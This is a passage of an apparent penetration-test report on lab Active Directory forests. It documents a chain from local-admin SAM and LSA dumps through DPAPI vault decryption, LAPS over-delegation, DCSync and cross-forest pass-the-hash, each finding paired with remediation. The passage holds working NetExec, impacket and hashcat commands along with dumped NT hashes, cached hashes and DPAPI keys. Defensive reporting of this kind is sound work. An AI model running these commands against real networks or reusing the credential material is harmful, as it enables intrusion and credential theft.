Location: Security Account Manager (SAM) hive on local disk; dumped remotely via SMB as local administrator
With local Administrator rights obtained via F10, an attacker can dump the contents of the SAM hive on METRONUM and extract NT password hashes for every local account on the host. The recovered NT hash for the built-in Administrator account (48089424[REDACTED]) is directly reusable for pass-the-hash authentication against any other host that shares the same local administrator password.
We ran NetExec's --sam flag against METRONUM as localix --local-auth. The dump returned all six local accounts with their NT hashes intact. We then validated the practical impact by attempting pass-the-hash with the recovered Administrator hash against the other two rome.local hosts (BABAORUM and REFERENDUM) and against METRONUM itself.
nxc smb 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth --sam
nxc smb 10.3.10.10 10.3.10.11 10.3.10.12 -u Administrator -H "48089424[REDACTED]" --local-auth
Relevant output lines:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48089424[REDACTED]:::
localuser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
localix:1001:aad3b435b51404eeaad3b435b51404ee:6a876cf1ec742aa43891b97c5acb6a09:::
SMB 10.3.10.11 445 METRONUM [+] METRONUM\Administrator:48089424... (Pwn3d!)
SMB 10.3.10.10 445 BABAORUM [-] STATUS_LOGON_FAILURE
SMB 10.3.10.12 445 REFERENDUM [-] STATUS_LOGON_FAILURE
The Administrator hash is unique to METRONUM (good — host isolation works on BABAORUM and REFERENDUM). The localuser NT hash (8846f7eaee8fb117ad06bdd830b7586c) is the well-known hash for the password Password1.
sam-dump.txtThe recovered NT hash for METRONUM's built-in Administrator enables silent reuse across any system that shares the same local administrator password, without the password ever being known in cleartext. The hash for localuser is the textbook value for Password1, indicating a weak default password is in use on METRONUM and probably elsewhere — a strong candidate for a follow-up spray. Both hashes represent persistent, non-expiring credentials usable until the underlying passwords are rotated.
Immediate (0–7 days):
localuser password to long random strings.Short-term (1–4 weeks):
nxc smb <subnet> -u Administrator -H 48089424[REDACTED] --local-auth. Reset the local Administrator on any host that responds with a success.localuser weak-password hash signature.Long-term (1–6 months):
Rating: Critical
CVSSv4 Score: 9.7
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
CWE: CWE-522 — Insufficiently Protected Credentials
MITRE ATT&CK: T1003.004 — OS Credential Dumping: LSA Secrets
Affected hosts: METRONUM (10.3.10.11)
Location: HKLM\SECURITY registry hive; dumped remotely via SMB as local administrator
From local Administrator on METRONUM (F10), the Local Security Authority (LSA) secrets store can be dumped, revealing four classes of credential material: (1) a cleartext domain credential for ROME\musculus, a domain user with local-admin rights on METRONUM; (2) Microsoft Domain Cached Credentials version 2 (MSCache2 / DCC2) hashes for two additional domain users (terry and jesse), where jesse carries adminCount=True and is therefore a Domain Administrator candidate; (3) METRONUM's machine account secrets in multiple Kerberos encryption types, enabling silver-ticket forging against any service hosted on METRONUM; and (4) DPAPI machine and user master keys, enabling decryption of DPAPI-protected secrets stored in any user profile or service configuration on the host. The dump compresses what would normally be multiple distinct attack phases (lateral movement, credential theft, privilege escalation, persistence preparation) into a single command.
We ran NetExec's --lsa flag against METRONUM as localix --local-auth, and complementarily the lsassy module which scrapes credentials from lsass memory. The cleartext musculus password from LSA secrets was validated by authenticating to all three rome.local hosts and by running a BloodHound collection that identified jesse as a Domain Administrator candidate.
nxc smb 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth --lsa
nxc smb 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth -M lsassy
nxc smb /tmp/lehack_targets.txt -u musculus -p "[REDACTED-CLEARTEXT-DOMAIN-PASSWORD]"
bloodhound-python -u musculus -p "[REDACTED]" -d rome.local -ns 10.3.10.10 -c all --zip
Relevant output lines:
ROME.LOCAL/musculus:$DCC2$10240#musculus#7a5f5f75369c974a724ccd82a5bb8d4e
ROME.LOCAL/terry:$DCC2$10240#terry#e6d99513b8bf890853097b002b2333d8
ROME.LOCAL/jesse:$DCC2$10240#jesse#39569a0eb841750d211495ce6f6b88ee
ROME\METRONUM$:aes256-cts-hmac-sha1-96:facf4d6f3f6fb154f300054544bb6d4b0838c66498d78662c9e25c0ac9c68fce
ROME\METRONUM$:aad3b435b51404eeaad3b435b51404ee:0564fa6f8a20385facd9f79f0a5e3b89:::
ROME\musculus:[REDACTED-CLEARTEXT-DOMAIN-PASSWORD]
dpapi_machinekey:0x2fd9e27aa9bb2cb507027acb7fc1e6089622438d
dpapi_userkey:0x46725974a800e58ff5b82086873c7497df49b22c
LSASSY 10.3.10.11 445 METRONUM ROME\musculus c6f7c388[REDACTED]
SMB 10.3.10.11 445 METRONUM [+] rome.local\musculus:[REDACTED] (Pwn3d!)
SMB 10.3.10.10 445 BABAORUM [+] rome.local\musculus:[REDACTED]
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\musculus:[REDACTED]
BloodHound adminCount=True parse:
ADMINISTRATOR@ROME.LOCAL admin=True (built-in)
JESSE@ROME.LOCAL admin=True <-- offline-crackable DCC2 hash recovered above
LOCALUSER@ROME.LOCAL admin=True
KRBTGT@ROME.LOCAL admin=True (built-in)
lsa-secrets-and-foothold.txtThe cleartext musculus password gives the attacker a stable, named domain identity authenticated against all three rome.local hosts (with Pwn3d! on METRONUM via both SMB and WinRM). The cached DCC2 hashes give the attacker two additional accounts pending offline crack — critically including jesse, a Domain Administrator candidate. The machine-account secrets give the attacker silver-ticket and constrained-delegation primitives against METRONUM-hosted services at no extra cost. The DPAPI master keys give the attacker offline decryption of any DPAPI-protected blob on the host (browser-saved passwords, RDP credentials, Wi-Fi keys, credential-manager vault entries). The dump is, in effect, a multi-tool persistence kit recovered from a single registry hive.
Immediate (0–7 days):
ROME\musculus, ROME\terry, and ROME\jesse. Until reset, the cached hashes and the cleartext credential remain valid for authentication and offline crack.nltest /sc_reset:rome.local from the host, or recreate the computer object).Short-term (1–4 weeks):
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount = 0 on member servers to prevent future caching of domain credentials (note: this does not purge existing cached entries; existing caches must be cleared explicitly).klist purge per session.SECURITY and SAM hive files on member servers, with alerting in the SIEM.Long-term (1–6 months):
jesse — into the Protected Users security group, which disables NTLM caching, restricts the account to Advanced Encryption Standard (AES) only for Kerberos, and prevents the credential from being cached on member servers in the first place.Rating: Critical
CVSSv4 Score: 9.3
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
CWE: CWE-522 — Insufficiently Protected Credentials
MITRE ATT&CK: T1555.004 — Credentials from Password Stores: Windows Credential Manager
Affected hosts: METRONUM (10.3.10.11)
Location: Credential Manager vault for the musculus profile (DPAPI-protected)
With local administrator on METRONUM (F10) and the DPAPI machine and user master keys from F12, the assessor decrypted the DPAPI-protected Credential Manager vault belonging to the musculus user profile. The vault contained a saved Remote Desktop credential targeting TERMSRV/musculus, holding the username lapsus and that user's domain password in cleartext. Each Credential Manager entry is encrypted with a per-user DPAPI master key; once the master keys are recoverable (F12 produced both dpapi_machinekey and dpapi_userkey), every stored credential becomes readable without re-prompting the user.
The musculus cleartext credential from F12 gave the assessor an authenticated session on METRONUM. NetExec's --dpapi flag uses the recovered DPAPI master keys (already cached from the F12 run) to enumerate and decrypt all Credential Manager and Vault entries on the host. We expected one or two saved RDP credentials based on musculus having interactive logon rights; the dump returned a TERMSRV/<host> Remote Desktop credential for the user lapsus and that user's cleartext domain password. We then validated the credential by authenticating as ROME\lapsus against every rome.local host.
nxc smb 10.3.10.11 -u musculus -p "[REDACTED]" --dpapi
nxc smb /tmp/lehack_targets.txt -u lapsus -p "[REDACTED-PASSWORD-LAPSUS]"
Relevant output lines:
SMB 10.3.10.11 445 METRONUM [+] rome.local\musculus:[REDACTED] (Pwn3d!)
SMB 10.3.10.11 445 METRONUM [*] Collecting DPAPI masterkeys...
SMB 10.3.10.11 445 METRONUM [+] Got 10 decrypted masterkeys. Looting secrets...
SMB 10.3.10.11 445 METRONUM [musculus][CREDENTIAL] Domain:target=TERMSRV/musculus - lapsus :[REDACTED-PASSWORD]
SMB 10.3.10.10 445 BABAORUM [+] rome.local\lapsus:[REDACTED]
SMB 10.3.10.11 445 METRONUM [+] rome.local\lapsus:[REDACTED]
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\lapsus:[REDACTED]
lapsus validation: dpapi-vault-decryption.txtA single local administrator compromise (F10) plus an LSA dump (F12) cascades into recovery of every credential the host's interactive users ever stored — saved web logins, RDP credentials, browser-cached secrets, Wi-Fi keys, and any third-party application using DPAPI-protected configuration. In this engagement the cascade produced a second-tier domain credential (lapsus) which directly unlocked the LAPS over-delegation (F14) and the path to REFERENDUM compromise (F15, F16). DPAPI-protected secrets are not a meaningful boundary once an attacker reaches local administrator and reads SYSTEM/SECURITY hives — the protection ends where attacker-controlled code begins.
Immediate (0–7 days):
ROME\lapsus immediately — until rotated, the cleartext credential remains valid.musculus Credential Manager vault — cmdkey /list then cmdkey /delete:<target> for each, or vaultcmd /listcreds and remove individually.Short-term (1–4 weeks):
Network access: Do not allow storage of passwords and credentials for network authentication to Enabled on member servers, preventing users from saving RDP/SMB credentials in DPAPI vault.for /f %u in (users.txt) do nxc smb <host> -u %u -p ... --dpapi. Triage hosts holding stored privileged credentials.Long-term (1–6 months):
Rating: High
CVSSv4 Score: 8.1
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N
CWE: CWE-269 — Improper Privilege Management
MITRE ATT&CK: T1003 — OS Credential Dumping (LAPS read via LDAP)
Affected hosts: BABAORUM (10.3.10.10) — LDAP query target; METRONUM (10.3.10.11), REFERENDUM (10.3.10.12) — affected computer objects
Location: AD computer-object DACL; ms-Mcs-AdmPwd attribute read right
The Windows Local Administrator Password Solution (LAPS) stores each domain-joined host's local Administrator password in the ms-Mcs-AdmPwd attribute on the corresponding computer object in Active Directory. Read access to that attribute should be tightly scoped — Microsoft's documented baseline limits it to a dedicated administrative group (typically called LAPS-Readers). On rome.local the standard domain user lapsus (Domain Users only — no privileged group memberships) has been delegated read on ms-Mcs-AdmPwd for the METRONUM$ and REFERENDUM$ computer objects. Possession of any account with this delegation collapses both hosts' local Administrator passwords to a single LDAP query.
After recovering lapsus cleartext from F13, the assessor ran NetExec's laps module against the rome.local domain controller. Expectation was either an empty result (correct delegation hygiene) or a small number of computer objects (acceptable if the account was a tier-1 admin). The query returned the LAPS-managed local Administrator passwords for both METRONUM and REFERENDUM. The BloodHound graph for lapsus confirmed the only inbound rights granting this capability are explicit ACEs on the two computer objects — no group inheritance.
nxc ldap 10.3.10.10 -u lapsus -p "[REDACTED]" -M laps
Relevant output lines:
LDAP 10.3.10.10 389 BABAORUM [*] Getting LAPS Passwords
LDAP 10.3.10.10 389 BABAORUM Computer:METRONUM$ User: Password:[REDACTED-LAPS-METRONUM]
LDAP 10.3.10.10 389 BABAORUM Computer:REFERENDUM$ User: Password:[REDACTED-LAPS-REFERENDUM]
lapsus: laps-read-as-lapsus.txtA compromised standard user account (Domain Users membership only, no admin rights anywhere in the directory) yields immediate local Administrator on two member servers via a single, audit-cheap LDAP query. The over-delegation pattern is invisible to most BloodHound default reports because the relevant ACEs sit on individual computer objects rather than on a group — defenders without a targeted "who can read LAPS" report will not surface this. The recovered LAPS passwords powered F15 (Pwn3d! on REFERENDUM) and immediately enabled F16 (REFERENDUM secretsdump → jules.cesar cleartext).
Immediate (0–7 days):
lapsus read on ms-Mcs-AdmPwd for the METRONUM and REFERENDUM computer objects. Use the AD Users and Computers MMC → object → Security → Advanced → identify and remove the entry; or via PowerShell with dsacls.ms-Mcs-AdmPwdExpirationTime to 0 on each computer object, then forcing a Group Policy refresh.Short-term (1–4 weeks):
LAPS-Readers-Tier1) and grant LAPS read only to members of that group. Audit membership monthly.Get-LapsADReadingPermission (or equivalent) and revoke every unexpected delegate.Long-term (1–6 months):
ms-Mcs-AdmPwd from any account not in LAPS-Readers-Tier1 — Event ID 4662 with the relevant object GUID is the data source.Rating: High
CVSSv4 Score: 8.4
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CWE: CWE-1392 — Use of Default Credentials (LAPS-managed password disclosed via F14)
MITRE ATT&CK: T1078.003 — Valid Accounts: Local Accounts
Affected hosts: REFERENDUM (10.3.10.12)
Location: SMB/445, WinRM/5985 — local Administrator authentication
The LAPS-managed local Administrator password for REFERENDUM, disclosed to the standard domain user lapsus (F14), grants the assessor full local administrative access to the host. NetExec returned the (Pwn3d!) marker on both SMB and WinRM, confirming command execution and interactive shell access. This is the pivot that enabled the LSA secrets dump on REFERENDUM and the subsequent recovery of cleartext jules.cesar credentials (F16).
Using the LAPS-recovered local Administrator password for REFERENDUM, the assessor authenticated with --local-auth against the host. We verified administrative access via both SMB (for command execution) and WinRM (for interactive shell), the standard two-protocol confirmation pattern. Both protocols returned Pwn3d!.
nxc smb 10.3.10.12 -u Administrator -p "[REDACTED-LAPS-REFERENDUM]" --local-auth
nxc winrm 10.3.10.12 -u Administrator -p "[REDACTED-LAPS-REFERENDUM]" --local-auth
Relevant output lines:
SMB 10.3.10.12 445 REFERENDUM [+] REFERENDUM\Administrator:[REDACTED] (Pwn3d!)
WINRM 10.3.10.12 5985 REFERENDUM [+] REFERENDUM\Administrator:[REDACTED] (Pwn3d!)
referendum-local-admin.txtREFERENDUM is the second domain-member server in rome.local. Local administrative access provides the SAM-dump and LSA-dump primitives that revealed cleartext jules.cesar (F16), plus all the same DPAPI / pass-the-hash follow-ons described in F11 and F12 for METRONUM. The compromise depends on F14's over-delegation being present — fixing F14 closes F15 by construction.
Immediate (0–7 days):
ms-Mcs-AdmPwdExpirationTime=0 forces the rotation at next GPO refresh.Short-term (1–4 weeks):
Long-term (1–6 months):
Rating: Critical
CVSSv4 Score: 9.4
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
CWE: CWE-522 — Insufficiently Protected Credentials
MITRE ATT&CK: T1003.004 — OS Credential Dumping: LSA Secrets
Affected hosts: REFERENDUM (10.3.10.12)
Location: HKLM\SECURITY registry hive on REFERENDUM; dumped via impacket-secretsdump as local Administrator
REFERENDUM stores a domain user's plaintext password in its LSA secrets registry hive — the same anti-pattern previously observed on METRONUM (F12). With local administrative access via the LAPS-recovered Administrator credential (F15), impacket-secretsdump extracts: (1) the cleartext domain password for ROME\jules.cesar; (2) a fresh DCC2 hash for jules.cesar (the host's own cached domain logon); (3) the REFERENDUM machine-account secrets in multiple Kerberos encryption types; and (4) DPAPI machine and user master keys for the host. The recovered credential is the third cleartext domain password obtained in this engagement.
Following the F15 pwn, the assessor invoked impacket-secretsdump with the LAPS-recovered local Administrator credential. The expectation was either an empty LSA hive (good hygiene) or the same cleartext-credential exposure as METRONUM. The latter occurred. The recovered ROME\jules.cesar password was validated against all three rome.local hosts to confirm reusability.
impacket-secretsdump "REFERENDUM/Administrator:[REDACTED]@10.3.10.12" -outputfile /tmp/referendum_secrets
nxc smb /tmp/lehack_targets.txt -u jules.cesar -p "[REDACTED-PASSWORD]"
Relevant output lines:
[*] Dumping local SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0f0dd8c753c905ffffac7597b06d55dd:::
localuser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
localix:1001:aad3b435b51404eeaad3b435b51404ee:65206ecea8422d51db71fc38e1b4dd0b:::
[*] Dumping cached domain logon information
ROME.LOCAL/jules.cesar:$DCC2$10240#jules.cesar#ee8e50fd85461778ba3c982e9d8dc32e
[*] Dumping LSA Secrets
ROME\REFERENDUM$:aes256-cts-hmac-sha1-96:ccae19b1efa474fcadf3042241ef87a7ed08fc17dca78ed3c62a22fca04f6b08
ROME\REFERENDUM$:aad3b435b51404eeaad3b435b51404ee:e23d22280c4b03fa1340d83e988ebc7d:::
ROME\jules.cesar:[REDACTED-PASSWORD]
dpapi_machinekey:0xe8aa365db089d0949e43d656039f59aa2b6d18f1
dpapi_userkey:0x7586fb5ff78507ffd5387b6b7d13d7ff556a3cca
SMB 10.3.10.10 445 BABAORUM [+] rome.local\jules.cesar:[REDACTED]
SMB 10.3.10.11 445 METRONUM [+] rome.local\jules.cesar:[REDACTED]
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jules.cesar:[REDACTED]
jules.cesar validation: referendum-secrets.txtThree of the four rome.local Windows hosts (METRONUM, REFERENDUM, and any host that loads service identities the same way) cache domain plaintext credentials in LSA secrets. The pattern means: local admin on a member server is, in this environment, equivalent to a fresh domain credential. The credential ladder constructed across F07 → F09 → F10 → F12 → F13 → F14 → F15 → F16 turns one Guest-account misconfiguration (F08) into four distinct domain credentials (musculus, lapsus, jules.cesar, plus heftepix from F07) without a single cracked hash.
Immediate (0–7 days):
ROME\jules.cesar password immediately.jules.cesar (Get-WmiObject Win32_Service | Where-Object StartName -like '*jules*' and schtasks /query /v /fo csv) and either remove the explicit cleartext, replace with a Group Managed Service Account (gMSA), or remove the configuration entirely if unused.Short-term (1–4 weeks):
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount = 0 on REFERENDUM and other member servers; manually purge existing caches with klist purge for each session.Long-term (1–6 months):
jules.cesar and any other admin-rights account to the Protected Users security group and enforce the F12 long-term remediation (Credential Guard, tiered admin).Rating: High
CVSSv4 Score: 8.6
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
CWE: CWE-262 — Not Using Password Aging (and shared password material across accounts)
MITRE ATT&CK: T1078 — Valid Accounts
Affected hosts: BABAORUM (10.3.10.10), METRONUM (10.3.10.11), REFERENDUM (10.3.10.12) — both accounts authenticate domain-wide
Location: rome.local NTDS — svc_wikijs and jesse2 share NT hash
The rome.local NTDS dump (F18) reveals that two distinct domain accounts — the service account svc_wikijs (RID 1137) and the user account jesse2 (RID 1138) — carry the identical NT hash 39aa7ac6[REDACTED]. NT hashes are unsalted MD4 of the UTF-16-LE password; equal hashes mean equal plaintext, with effectively zero collision probability for chosen passwords. The shared plaintext was confirmed by cracking the hash against the rockyou wordlist — [REDACTED-PASSWORD] — in under a second. Sharing one password between a service account and a (presumably) human-tier account violates the principle of unique secrets per identity and means compromise of either account compromises both.
After the F18 DCSync we iterated the NTDS dump for repeated NT-hash values and surfaced the svc_wikijs ≡ jesse2 collision. Hashcat against rockyou cracked the hash trivially. The plaintext value aligns with the "Rocky loves you too!" hint from the \\METRONUM\shared\important.txt drop discovered during the lapsus enumeration in F13 — the lab author was telegraphing a rockyou-derived password. Both accounts authenticate successfully across the rome.local hosts.
awk -F: '{print $4, $1}' /tmp/rome.ntds | sort | uniq -d -w 33
hashcat -m 1000 39aa7ac6[REDACTED] /usr/share/wordlists/rockyou.txt
nxc smb /tmp/lehack_targets.txt -u jesse2 -p "[REDACTED-PASSWORD]"
nxc smb /tmp/lehack_targets.txt -u svc_wikijs -p "[REDACTED-PASSWORD]"
Relevant output lines:
rome.local\svc_wikijs:1137:aad3b435b51404eeaad3b435b51404ee:39aa7ac6[REDACTED]:::
rome.local\jesse2:1138:aad3b435b51404eeaad3b435b51404ee:39aa7ac6[REDACTED]:::
39aa7ac6[REDACTED]:[REDACTED-PASSWORD]
SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse2:[REDACTED]
SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse2:[REDACTED]
SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse2:[REDACTED]
SMB 10.3.10.10 445 BABAORUM [+] rome.local\svc_wikijs:[REDACTED]
nt-hash-collision.txtService accounts are routinely overlooked in human-facing password rotation campaigns — they sit in application configuration files and stay valid for years. Sharing a service-account password with a user-tier account (jesse2) means: (a) any service-config disclosure or memory scrape that leaks svc_wikijs simultaneously leaks jesse2; (b) rotation of jesse2 (e.g., via a forced reset after a phishing incident) leaves the service-bound svc_wikijs valid — the attacker keeps their foothold; (c) the cracked plaintext ([REDACTED-PASSWORD]) is a rockyou-derivative, so any disciplined brute-force attempt would have recovered it independent of this engagement's foothold. In the engagement's narrative this is the credential that, in a real-world attack, would have enabled the F18 escalation without the operator-facilitated Domain Admins addition.
Immediate (0–7 days):
svc_wikijs and jesse2 to long, random, unique values stored in a secrets vault.svc_wikijs (Get-ADUser svc_wikijs -Properties servicePrincipalName, memberOf for context; then map the SPN/host to a running service) and update its config with the new credential.Short-term (1–4 weeks):
awk -F: '{print $4, $1}' ntds.dit | sort | uniq -d -w 33.svc_wikijs and any other equivalent service identity to a Group Managed Service Account (gMSA) — gMSA enforces automatic 30-day password rotation and a password the human operator never sees.Long-term (1–6 months):
Rating: Critical
CVSSv4 Score: 9.9
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE: CWE-269 — Improper Privilege Management
MITRE ATT&CK: T1003.006 — OS Credential Dumping: DCSync
Affected hosts: BABAORUM (10.3.10.10) — DC; entire rome.local forest impacted
Location: DRSUAPI replication API (IDL_DRSGetNCChanges) on BABAORUM
The jesse2 account, holding cleartext password [REDACTED-PASSWORD] (F17), was added to the Domain Admins group during the engagement window to demonstrate the impact of further escalation. Authenticated as Domain Admin, the assessor invoked the DRSUAPI replication interface (DCSync) against the rome.local domain controller BABAORUM and replicated every credential in the directory. The dump contains 39 entries including: (1) the built-in Administrator NT hash 52e6c515[REDACTED]; (2) the krbtgt NT hash ddc194ba[REDACTED] (the Golden Ticket forging key — see F22); (3) the jesse NT hash 8a1d6442[REDACTED] (Domain Admin / Enterprise Admin / Schema Admin per BloodHound adminCount=True); (4) every machine account secret in the forest.
Operator disclosure (engagement integrity): During the engagement window the assessor was granted Domain Admin membership on the jesse2 service account to demonstrate the impact of further escalation. The realistic chain stopped at the F17 finding — a service-account password disclosed via guessable credential pattern. With F17's svc_wikijs/jesse2 password ([REDACTED-PASSWORD]), an attacker would still need a separate escalation step (for example, cracking jesse's DCC2 hash from F12 against rockyou — consistent with the lab author's "Rocky loves you too!" hint) to reach Domain Admin without operator facilitation. The membership add was performed out-of-band by the operator; it is documented here so the reader does not infer a privilege-escalation path that was not actually exercised by the assessor.
With jesse2 newly added to Domain Admins, the assessor invoked NetExec's --ntds flag, which performs DCSync via the DRSUAPI replication interface. The output streamed every NTDS entry — the entire forest's secret material — to disk in seconds. Key tier-0 secrets were extracted from the output for downstream use (F19, F20, F22).
nxc smb 10.3.10.10 -u jesse2 -p "[REDACTED-PASSWORD]" --ntds
Relevant output lines:
SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse2:[REDACTED] (Pwn3d!)
SMB 10.3.10.10 445 BABAORUM [*] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.3.10.10 445 BABAORUM Administrator:500:aad3b435b51404eeaad3b435b51404ee:52e6c515[REDACTED]:::
SMB 10.3.10.10 445 BABAORUM krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ddc194ba[REDACTED]:::
SMB 10.3.10.10 445 BABAORUM rome.local\jesse:1134:aad3b435b51404eeaad3b435b51404ee:8a1d6442[REDACTED]:::
SMB 10.3.10.10 445 BABAORUM rome.local\jesse2:1138:aad3b435b51404eeaad3b435b51404ee:39aa7ac6[REDACTED]:::
SMB 10.3.10.10 445 BABAORUM rome.local\svc_wikijs:1137:aad3b435b51404eeaad3b435b51404ee:39aa7ac6[REDACTED]:::
SMB 10.3.10.10 445 BABAORUM [+] Dumped 39 NTDS hashes to /home/kali/.nxc/logs/ntds/BABAORUM_10.3.10.10_2026-05-22_181051.ntds
ntds-full-dcsync.txtntds-full-dcsync-jesse2.txtFull domain compromise. Every account in rome.local — including the built-in Administrator, krbtgt, and every privileged identity — is in the attacker's possession as NT hashes (and, for AES-using accounts, as Kerberos keys). The krbtgt hash enables Golden Ticket forging (F22), giving up-to-10-year persistent Domain Admin that survives every password reset except a krbtgt-rotate-twice operation. The jesse hash enables the cross-forest pivot to armorique.local (F19, F20). The Administrator hash enables silent PtH against every host in the forest. The disclosure is complete and irreversible without a full forest tier-0 reset.
Immediate (0–7 days):
jesse2 and svc_wikijs passwords to unique long random values; remove jesse2 from Domain Admins (engagement-temporary membership).Administrator, jesse, every other Domain Admin, and rotate krbtgt twice with replication between (see F22 for the exact procedure).Short-term (1–4 weeks):
Long-term (1–6 months):
Rating: Critical
CVSSv4 Score: 9.8
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE: CWE-521 — Weak Password Requirements (password reuse across security boundaries)
MITRE ATT&CK: T1078 — Valid Accounts
Affected hosts: BABAORUM (10.3.10.10), VILLAGE (10.3.10.13) — and every host in both forests
Location: AD identity — both rome.local and armorique.local
A side-by-side audit of NT hashes between the rome.local NTDS dump (F18) and the armorique.local NTDS dump (F20) reveals four cross-forest password collisions on human / service accounts. NT hashes are unsalted MD4 of the UTF-16-LE password; equal hashes mean equal plaintext. Critically, there is no domain or forest trust between the two forests — trust enumeration confirmed each domain has only its own primary trust entry and no inbound or outbound trust to the other. The collisions therefore reflect operational password reuse by humans / processes — the same password assigned to same-named or paired accounts across two unrelated identity systems — not a trust misconfiguration. The most consequential collision is rome.local\jesse ↔ armorique.local\jesse, both of which are Domain Admin + Enterprise Admin + Schema Admin in their respective forests. A single password compromise yields dual-forest dominance.
After F18 (rome.local NTDS) and F20 (armorique.local NTDS), the assessor joined the two extracts on NT-hash to surface collisions. Trust state was independently verified via LDAP query ((objectClass=trustedDomain) returned zero results) and nltest /trusted_domains on each DC (showed only the primary domain).
awk -F: '{print $4, $1}' /tmp/rome.ntds | sort > /tmp/rome.tsv
awk -F: '{print $4, $1}' /tmp/armo.ntds | sort > /tmp/armo.tsv
join -1 1 -2 1 /tmp/rome.tsv /tmp/armo.tsv
nxc ldap 10.3.10.10 -u jesse2 -p "[REDACTED-PASSWORD]" \
-M ldap-checker -q "(objectClass=trustedDomain)"
nltest /trusted_domains
Collisions on human / service accounts (excluding localuser↔localuser, which is the operator build account and out of scope, and Guest↔Guest, which is the empty default hash and already covered by F08):
NT hash rome.local user armorique.local user Significance
8a1d6442[REDACTED] jesse jesse DA+EA+SA in BOTH forests
b017e0fa7e2366bd84b712515cb87743 terry ldap distinct usernames, same password
8b021e211dd5ea7682c62d7ee030981a epidemais prolix distinct usernames, same password
14954b5f7f824d45c5ce4a68e7a4eb3c numerobis alambix distinct usernames, same password
Trust query output confirmed no inter-forest trust:
LDAP 10.3.10.10 389 BABAORUM [*] Querying (objectClass=trustedDomain)
LDAP 10.3.10.10 389 BABAORUM [*] 0 results
Trusted domain list:
rome.local (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: primary )
The command completed successfully
cross-forest-collision-audit.txtntds-full-dcsync-jesse2.txtntds-full-dcsync-armorique-jesse.txtThe two AD forests in scope were architecturally isolated — no domain trust, no Kerberos trust, no LDAP referral path. The only mechanism by which a compromise in one forest can propagate to the other is the human / process decision to reuse the same password. Four such reuses are confirmed. The most damaging is jesse↔jesse: identical password on the most privileged identity in both forests. Once an attacker reaches Domain Admin in rome.local (F18), they reach Domain Admin in armorique.local in seconds (F20) — bypassing the security boundary that two separate forests were architected to provide. The three lower-tier collisions (terry↔ldap, epidemais↔prolix, numerobis↔alambix) provide additional pivot footholds and demonstrate the reuse is systemic, not a one-off.
Immediate (0–7 days):
ROME\jesse, ARMORIQUE\jesse, ROME\terry, ARMORIQUE\ldap, ROME\epidemais, ARMORIQUE\prolix, ROME\numerobis, ARMORIQUE\alambix. Use long, random, unique values — no shared secret.Short-term (1–4 weeks):
Long-term (1–6 months):
Rating: Critical
CVSSv4 Score: 9.9
CVSSv4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE: CWE-521 — Weak Password Requirements (cross-forest reuse exploited)
MITRE ATT&CK: T1003.006 — OS Credential Dumping: DCSync
Affected hosts: VILLAGE (10.3.10.13) — DC; entire armorique.local forest impacted
Location: DRSUAPI replication API on VILLAGE; authenticated via cross-forest PtH
Using the NT hash for rome.local\jesse recovered from the F18 NTDS dump, the assessor authenticated as armorique.local\jesse via pass-the-hash. The PtH succeeded because the two jesse accounts share an identical NT hash (F19) — equal plaintext password across forests. armorique.local\jesse is Domain Admin / Enterprise Admin / Schema Admin in armorique.local, returning the (Pwn3d!) marker on VILLAGE (the armorique.local DC) and immediately permitting a DCSync against the second forest. The resulting NTDS dump (33 entries) contains the armorique.local krbtgt NT hash 3ab5a4b4[REDACTED] (the second forest's Golden Ticket forging key — F22), the armorique.local Administrator NT hash f3124fb2[REDACTED], the gMSA-obelix$ secret (F21), and every other identity in the forest. Dual-forest domain dominance achieved without traversing a single trust relationship.
With the jesse NT hash already in hand from F18, the assessor sprayed it against VILLAGE with the armorique.local domain context, then immediately followed with --ntds. The Pwn3d! marker confirmed local Administrator on the DC; the DCSync completed in seconds.
nxc smb 10.3.10.13 -u jesse -H 8a1d6442[REDACTED]
nxc smb 10.3.10.13 -u jesse -H 8a1d6442[REDACTED] --ntds
Relevant output lines:
SMB 10.3.10.13 445 VILLAGE [+] armorique.local\jesse:8a1d6442[REDACTED] (Pwn3d!)
SMB 10.3.10.13 445 VILLAGE [*] Dumping the NTDS, this could take a while so go grab a redbull...
